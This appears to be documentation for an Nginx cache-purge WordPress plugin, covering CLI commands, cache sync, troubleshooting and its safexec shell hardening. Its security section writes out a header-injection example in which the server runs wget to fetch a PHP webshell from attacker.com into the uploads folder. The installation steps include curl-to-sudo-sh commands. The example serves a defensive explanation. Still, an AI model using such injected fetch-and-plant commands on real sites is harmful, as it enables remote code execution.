# Schedule a daily preload at 03:00
wp npp schedule-set --freq=daily --time=03:00
# Cancel scheduled preload
wp npp schedule-set --cancel
# List active NPP cron events
wp npp schedule
# Clear URL→filepath index after moving cache directory
wp npp index-clear
# Flush NPP transients after installing ripgrep, safexec, or wget
wp npp flush
| Subcommand | Description | Notable flags |
|---|---|---|
wp npp purge | Purge entire cache or a single URL | --page-url=<url>, --dry-run, --porcelain |
wp npp preload | Full-site crawl or single URL; stop a running job | --page-url=<url>, --stop, --dry-run |
wp npp status | Runtime status summary | --format=table|json|yaml|csv |
wp npp log | Tail or clear the operation log | --lines=<n>, --clear |
wp npp settings get/set | Read or update any plugin setting | --format=json, --pretty |
wp npp settings-reset | Reset a setting to plugin default | Setting key as argument |
wp npp flush | Clear all NPP transients | Run after path changes or binary installs |
wp npp index-clear | Clear the URL→filepath index | Run when cache path changes |
wp npp schedule | List active NPP cron events | — |
wp npp schedule-set | Configure or cancel scheduled preload | --freq=daily|weekly, --time=HH:MM, --cancel |
--dry-run for safe inspection before committing. --porcelain on purge and preload outputs a clean single token (SUCCESS or FAILED) — ideal for shell script conditionals and CI/CD step gates.Practical CI/CD pattern: call
wp npp purge --porcelain in your deploy hook, check the exit code, then trigger wp npp preload to warm the cache immediately after deploy — all without touching the WordPress admin.
Cloudflare APO + Redis Object Cache: Keeping All Layers in Sync
A common production stack adds two more caching layers on top of Nginx: Cloudflare APO at the edge and Redis Object Cache for database queries. Both operate independently by default — purging Nginx doesn't touch either of them.
Cloudflare APO Sync
When Cloudflare APO Sync is enabled in NPP, every purge operation is automatically mirrored to Cloudflare's edge cache. Single-URL purges send a batch of up to 30 URLs per API call (the page plus its related URLs). Purge All triggers a zone-wide cache wipe. If your Cloudflare config has Cache By Device Type enabled, NPP sends a second purge pass with the CF-Device-Type: mobile header to clear mobile-specific cached variants.
Requirements: the official Cloudflare WordPress plugin must be installed, active, and authenticated. NPP reads its credentials directly — no API keys to enter in NPP itself.
Redis Object Cache Sync — and the Loop Prevention Problem
With Redis Object Cache Sync enabled, NPP flushes Redis at the right moment in the purge+preload chain: after Purge All, before Preload All. This ensures that when wget fetches each page during preload, PHP is hitting the database fresh rather than returning stale object cache entries into the newly warmed Nginx cache.
The bidirectional part: when the Redis Object Cache drop-in fires a flush event from outside NPP — through the plugin's dashboard button, wp cache flush via WP-CLI, or any plugin calling wp_cache_flush() — NPP automatically triggers a full Nginx purge. Fresh Redis means Nginx's cached PHP output may now be stale too.
Without loop prevention, this creates an infinite cascade: NPP purges Nginx, which flushes Redis, which fires NPP again, which flushes Redis… NPP guards this with a $GLOBALS['NPPP_REDIS_FLUSH_ORIGIN'] flag set before each cascade direction, checked at both entry points. The flag is also automatically cleared if Redis goes offline during a request cycle.
Percent-Encoded URL Cache Misses on Non-ASCII Sites
Sites with non-ASCII URLs — Chinese, Arabic, Cyrillic, Japanese product slugs, for example — face a specific cache miss pattern. The URL /product/水滴轮锻碳/ becomes percent-encoded in HTTP requests, and that encoding can be either uppercase (%E6%B0%B4) or lowercase (%e6%b0%b4) depending on the client or proxy. Nginx's cache key is case-sensitive — these hash to different files.
NPP addresses this two ways:
- safexec + libnpp_norm.so (recommended): an
LD_PRELOADshim that normalizes percent-encoding in HTTP request lines during preloading — ensuring NPP's preloader stores cache entries with the same encoding case that real browsers will use - mitmproxy: a "man-in-the-middle" proxy between NPP's
wgetand Nginx that rewrites encoding case on the fly, configurable from the NPP Preload Options settings page
Security: safexec and Why shell_exec Needed a Bouncer
NPP makes extensive use of shell_exec — it's how the preload engine launches wget, how RG Purge runs rg, how the Watchdog monitors the process PID. Unrestricted shell_exec in a WordPress plugin is an attack surface. CVE-2025-6213 demonstrated exactly this: unsanitized shell calls in cache plugins could be exploited to achieve arbitrary command execution through injected HTTP headers.
safexec is a hardened C binary (SUID) that sits between PHP and the shell. Every shell operation NPP performs goes through it. What it enforces:
- Strict allowlist — only
wget,rg,ps, and a handful of known-safe binaries can execute through safexec - Absolute path pinning — the tool is resolved to a trusted system directory;
argv[0]is rewritten beforeexec() - Privilege drop — runs the child process as
nobody; aborts ifeuid == 0at runtime - Environment wipe —
clearenv()before exec, then sets only a trustedPATH, appliesumask(077)andPR_SET_DUMPABLE(0) - Process isolation — places the child in its own cgroup v2 subtree; rlimits fallback on systems without cgroup v2
PR_SET_NO_NEW_PRIVS(1)— the child process can never regain elevated privileges afterexec()
A concrete attack — before and after safexec
## Before safexec — injected header exploits an unsanitized shell_exec call
curl -H "Referer: http://attacker.com/shell.php" \
https://yoursite.com/wp-json/nppp_nginx_cache/v2/preload
# Shell command that runs on the server:
wget http://attacker.com/shell.php \
-O /var/www/html/wp-content/uploads/shell.php
# Result: web-accessible PHP shell planted at /uploads/shell.php → RCE
## After safexec — same exploit attempt
safexec wget http://attacker.com/shell.php \
-O /var/www/html/wp-content/uploads/shell.php
Info: pinned tool 'wget' -> '/usr/bin/wget'
Info: using cgroup v2 child /sys/fs/cgroup/nppp/nppp.1397159
Summary: user=65534:65534 (nobody) no_new_privs=on
/var/www/html/wp-content/uploads/shell.php: Permission denied
# safexec dropped to nobody — cannot write to /uploads/
# Webshell never lands. Attack fails.
# One-liner (all supported distros)
curl -fsSL https://psaux-it.github.io/install-safexec.sh | sudo sh
# Debian / Ubuntu amd64
wget https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/releases/latest/download/safexec_latest_amd64.deb
sudo apt install ./safexec_latest_amd64.deb
# RHEL / Fedora / Rocky amd64
wget https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/releases/latest/download/safexec-latest.x86_64.rpm
sudo dnf install ./safexec-latest.x86_64.rpm
# Alpine Linux
wget https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/releases/latest/download/safexec-latest.x86_64.apk
sudo apk add --allow-untrusted ./safexec-latest.x86_64.apk
# Verify
safexec --version
Troubleshooting: The 12 Most Common Issues
| Symptom | Most likely cause | Where to check / fix |
|---|---|---|
| High cache MISS rate despite preloading running | Blanket if ($query_string != "") rule in Nginx config | Replace with the map-based $skip_cache_query approach; use "Reset Default" on Exclude Endpoints in Settings → Preload Options to activate NPP v2.1.7 surgical defaults |
| Plugin tabs disabled, warnings on Status tab | Nginx not detected, or running on a non-Nginx stack | Add define('NPPP_ASSUME_NGINX', true); to wp-config.php for reverse-proxy or jailed setups; or bind-mount /etc/nginx/nginx.conf into the container/jail |
ERROR COMMAND: Preloading failed | open_basedir blocking wget or binary paths | Status tab → look for OPEN_BASEDIR warning; extend open_basedir in your PHP-FPM pool config with all required paths |
| Purge runs but cache files aren't deleted | PHP-FPM-USER lacks write access to cache directory | Run install.sh to set up bindfs, or manually configure bindfs + update NPP's Nginx Cache Directory setting to the mount path |
| Cache is warmed but visitors still get misses | Vary: Accept-Encoding variant hash split | Set zlib.output_compression = Off in php.ini; add fastcgi_param HTTP_ACCEPT_ENCODING "" and fastcgi_ignore_headers Vary to Nginx PHP block |
| Visitors receiving other users' cookies from cached pages | Set-Cookie headers stored inside cached responses | Add if ($skip_cache = 0) { more_clear_headers "Set-Cookie*"; } to the PHP location block; requires ngx_http_headers_more_filter_module |
REST API returns rest_no_route 404 | Nginx → Apache proxy stripping Authorization header | Add proxy_set_header Authorization $http_authorization in Nginx; add RewriteRule ^ - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] in Apache Directory block |
| Advanced tab takes 20+ seconds to load | PHP recursive scan over a large FUSE-mounted cache | Install ripgrep (>= v14.0.0: apt install ripgrep) and safexec; NPP detects and uses both automatically |
| WooCommerce product pages show stale stock after orders | Stock updates bypassing wp_update_post() | Enable Auto Purge in NPP settings; NPP hooks into WooCommerce stock events directly |
| RG Purge toggle shows "Unavailable" | rg binary not installed or below v14.0.0 | Run apt install ripgrep (ensure version ≥ 14.0.0), then refresh the NPP settings page |
| Post-preload tasks never run (email, index rebuild) | WP-Cron not firing on fully-cached site | Enable Preload Watchdog in NPP settings |
| Cache Coverage gauge shows N/A | No completed Preload All run yet | Run a full Preload All once; the snapshot only writes on successful completion. Use the refresh button on the gauge after running. |
Status Tab Utilities: Clear Plugin Cache vs Clear URL Index
Two buttons on the Status tab get confused with each other. They do very different things.
Clear Plugin Cache
NPP caches expensive server-side detection results — Nginx binary detection, nginx.conf parsing, PHP-FPM permission checks, cache path validation — as WordPress transients. These are normally refreshed automatically, but stale values can linger after you make server-side changes. Clear Plugin Cache discards these transients so the Status tab re-reads everything fresh on next load.
When to use it: after changing nginx.conf, after running install.sh, after changing PHP-FPM pool settings, after installing ripgrep or safexec, or any time the Status tab shows values that don't match your current server state.
Clear URL Index
This deletes the URL→filepath index that enables instant single-page purges. Use it only when the index contains stale data — after moving the cache directory, after changing the fastcgi_cache_key format, or after manually deleting and recreating the cache directory. After clearing, the next Preload All or Advanced tab visit rebuilds it automatically from a fresh scan. Don't clear it routinely — you're just forcing fallback to the slower recursive scan until the index rebuilds.
Zero Overhead on Every Frontend Request
One concern with any WordPress plugin that hooks into server operations is the overhead it adds to every page request. NPP is designed to be completely dormant on unauthenticated requests. The bootstrap gate is tight:
// Simplified entry point gate
add_action('init', function() {
if (!is_admin()) return; // not admin page → dormant
if (!is_user_logged_in()) return; // not logged in → dormant
if (current_user_can('manage_options')) {
nppp_load_bootstrap(); // full UI + hooks
return;
}
if (current_user_can('nppp_purge_cache')) {
nppp_load_bootstrap(); // auto-purge hook only
}
});
On every frontend request — the millions of page loads that Nginx serves directly from cache — NPP's bootstrap never runs. REST API endpoints and WP-Cron events follow the same narrow-gate pattern. The plugin's footprint in production is essentially zero on anything that isn't an admin action.
What Sets NPP Apart from Other Nginx Cache Plugins
Most Nginx cache plugins for WordPress cover the basics: purge via ngx_cache_purge and a filesystem fallback. NPP was built specifically to solve the problems those plugins leave open — particularly the two-user permission problem that made filesystem purge unreliable in the first place.
| Feature | Typical Plugin | NPP |
|---|---|---|
| Multi-user environments (WEBSERVER-USER ≠ PHP-FPM-USER) | ❌ Not solved — filesystem purge fails silently | ✅ bindfs + safexec — the founding reason NPP was built |
| Cache preloading after purge | ❌ No — cache left cold | ✅ wget-based crawler, rate-limited, CPU-limited, mobile pass included |
| Map-based cache exclusion architecture | ❌ Blanket if ($query_string) — invisible gaps | ✅ 5-map approach: path, query-param, cookie, cart, XHR — surgical exclusion with production-tested regexes |
| Cookie leakage prevention | ❌ No — Set-Cookie headers can pollute cached responses | ✅ more_clear_headers "Set-Cookie*" on cacheable responses — guided configuration provided |
| NPP REST API rate limiting | ❌ No — API unprotected at Nginx layer | ✅ Map-based rate limiting: per-IP, NPP endpoints only, zero overhead on non-NPP traffic |
| URL→filepath index | ❌ No | ✅ Built during preload, updated by write-back — skips directory scan entirely |
| RG Purge (ripgrep acceleration) | ❌ No | ✅ Reduces large-cache purge from 30–60s to 1–2s |
| Cloudflare APO sync | ❌ No | ✅ Mirrors every purge to edge cache automatically |
| Redis Object Cache bidirectional sync | ⚠️ One direction at best | ✅ Full bidirectional with loop prevention |
| WooCommerce stock update purge | ❌ Misses direct DB stock writes | ✅ Hooks into WooCommerce stock events directly |
| WP-CLI integration | ❌ No | ✅ 10 subcommands — purge, preload, status, log, settings, schedule, index-clear; --dry-run and --porcelain flags for CI/CD |
| Preload All MISS (targeted gap-filling) | ❌ No | ✅ Crawls only uncached URLs — no purge, fraction of cost of full preload |
| RSS / Atom feed preloading | ❌ Feeds excluded or inconsistent | ✅ Main feed, per-post comment feeds, taxonomy feeds — all first-class preload targets |
| Surgical query-string preload coverage | ❌ Blanket query-string exclusion — invisible cache gaps | ✅ Named-parameter denylist — only genuinely dynamic params excluded; benign query strings warmed |
| Nginx Cache Analyzer | ❌ No visibility into HIT/MISS state | ✅ Full HIT/MISS dashboard from last preload snapshot; purge or preload individual entries directly from the Advanced Tab |
| REST API for external purge/preload triggers | ❌ No | ✅ Full API with Bearer token and X-Api-Key auth |
| Shell operation security | ❌ Unguarded shell_exec | ✅ safexec — privilege drop, allowlist, process isolation |
| Scheduled cache warming | ❌ No | ✅ Custom WP-Cron scheduler with interval and time picker |
| Cache Coverage Ratio dashboard gauge | ❌ No | ✅ Live % of known URLs currently in cache |
fastcgi_cache_background_update guidance | ❌ Not documented | ✅ Included in reference configuration — eliminates stale-expiry cold hits alongside preloading |
Getting Started: Quick Installation Path
- Install the plugin — available on the WordPress.org plugin directory. Search "Nginx Cache Purge Preload" or install via WP-CLI:
wp plugin install fastcgi-cache-purge-and-preload-nginx --activate - Load required Nginx modules — add to the top of
nginx.conf:load_module modules/ngx_http_cache_purge_module.so;load_module modules/ngx_http_headers_more_filter_module.so;
Both are innginx-extrason Debian/Ubuntu. - Adopt the map-based cache exclusion architecture — replace the blanket
if ($query_string != "")rule with the five-map approach from the "Production-Ready Cache Exclusion" section. Use "Reset Default" on Exclude Endpoints in Settings → Preload Options to activate matching NPP defaults. - Fix the Vary header issue — set
zlib.output_compression = Offin php.ini; addfastcgi_param HTTP_ACCEPT_ENCODING ""andfastcgi_ignore_headers Varyto your Nginx PHP location block. - Add
fastcgi_cache_background_update onto your PHP location block to eliminate cold hits on TTL expiry. - Prevent cookie leakage — add
if ($skip_cache = 0) { more_clear_headers "Set-Cookie*"; }to the PHP location block. - Add NPP API rate limiting — add the
$nppp_limit_keymap andlimit_req_zoneto yourhttp {}block; addlimit_req zone=nppp_api burst=5 nodelay;to the PHP location block. - Handle permissions — if your WEBSERVER-USER and PHP-FPM-USER are different:
sudo bash -c "$(curl -Ss https://psaux-it.github.io/install.sh)" - Install safexec —
curl -fsSL https://psaux-it.github.io/install-safexec.sh | sudo sh - Install ripgrep —
apt install ripgrep(minimum v14.0.0; NPP enforces this and flags outdated binaries in the Status tab) - Reload Nginx and PHP-FPM —
nginx -t && systemctl reload nginx && systemctl reload php8.x-fpm - Configure NPP — Settings → NPP Settings: set your Nginx Cache Directory path, enable Auto Purge, enable Auto Preload, enable RG Purge, enable Preload Watchdog, enable Preload Feeds if applicable.
- Run first Preload All — Dashboard widget → Preload button, or via CLI:
wp npp preload. The live progress stream shows URL, 404 count, server load, elapsed time. When complete, the Cache Coverage gauge updates automatically. - Check the Status tab — confirm Nginx is detected,
rg(v14+) andsafexecare detected, no OPEN_BASEDIR warning, no permission warnings. - Use Preload All MISS for subsequent top-ups — once cache coverage exceeds 50%, use Preload All MISS in the Advanced Tab instead of full Preload All for routine maintenance.
install.sh and use the dedicated Docker Compose environment at github.com/psaux-it/wordpress-nginx-cache-docker. The install.sh script is monolithic-server only — it won't find PHP-FPM and Nginx in separate containers.
Resources
- 📦 WordPress.org — Plugin Page & Reviews
- 🐙 GitHub — Source Code, Changelog & Issue Tracker
- 🚀 Releases — safexec .deb / .rpm / .apk Packages + SHA256SUMS
- 🛡️ safexec — Full Documentation & C Source
- 🐳 Docker Compose Environment — Production-ready full stack with NPP
- ⚙️ install.sh — Automated bindfs Setup (Monolithic Server)
- ❤️ Sponsor NPP Development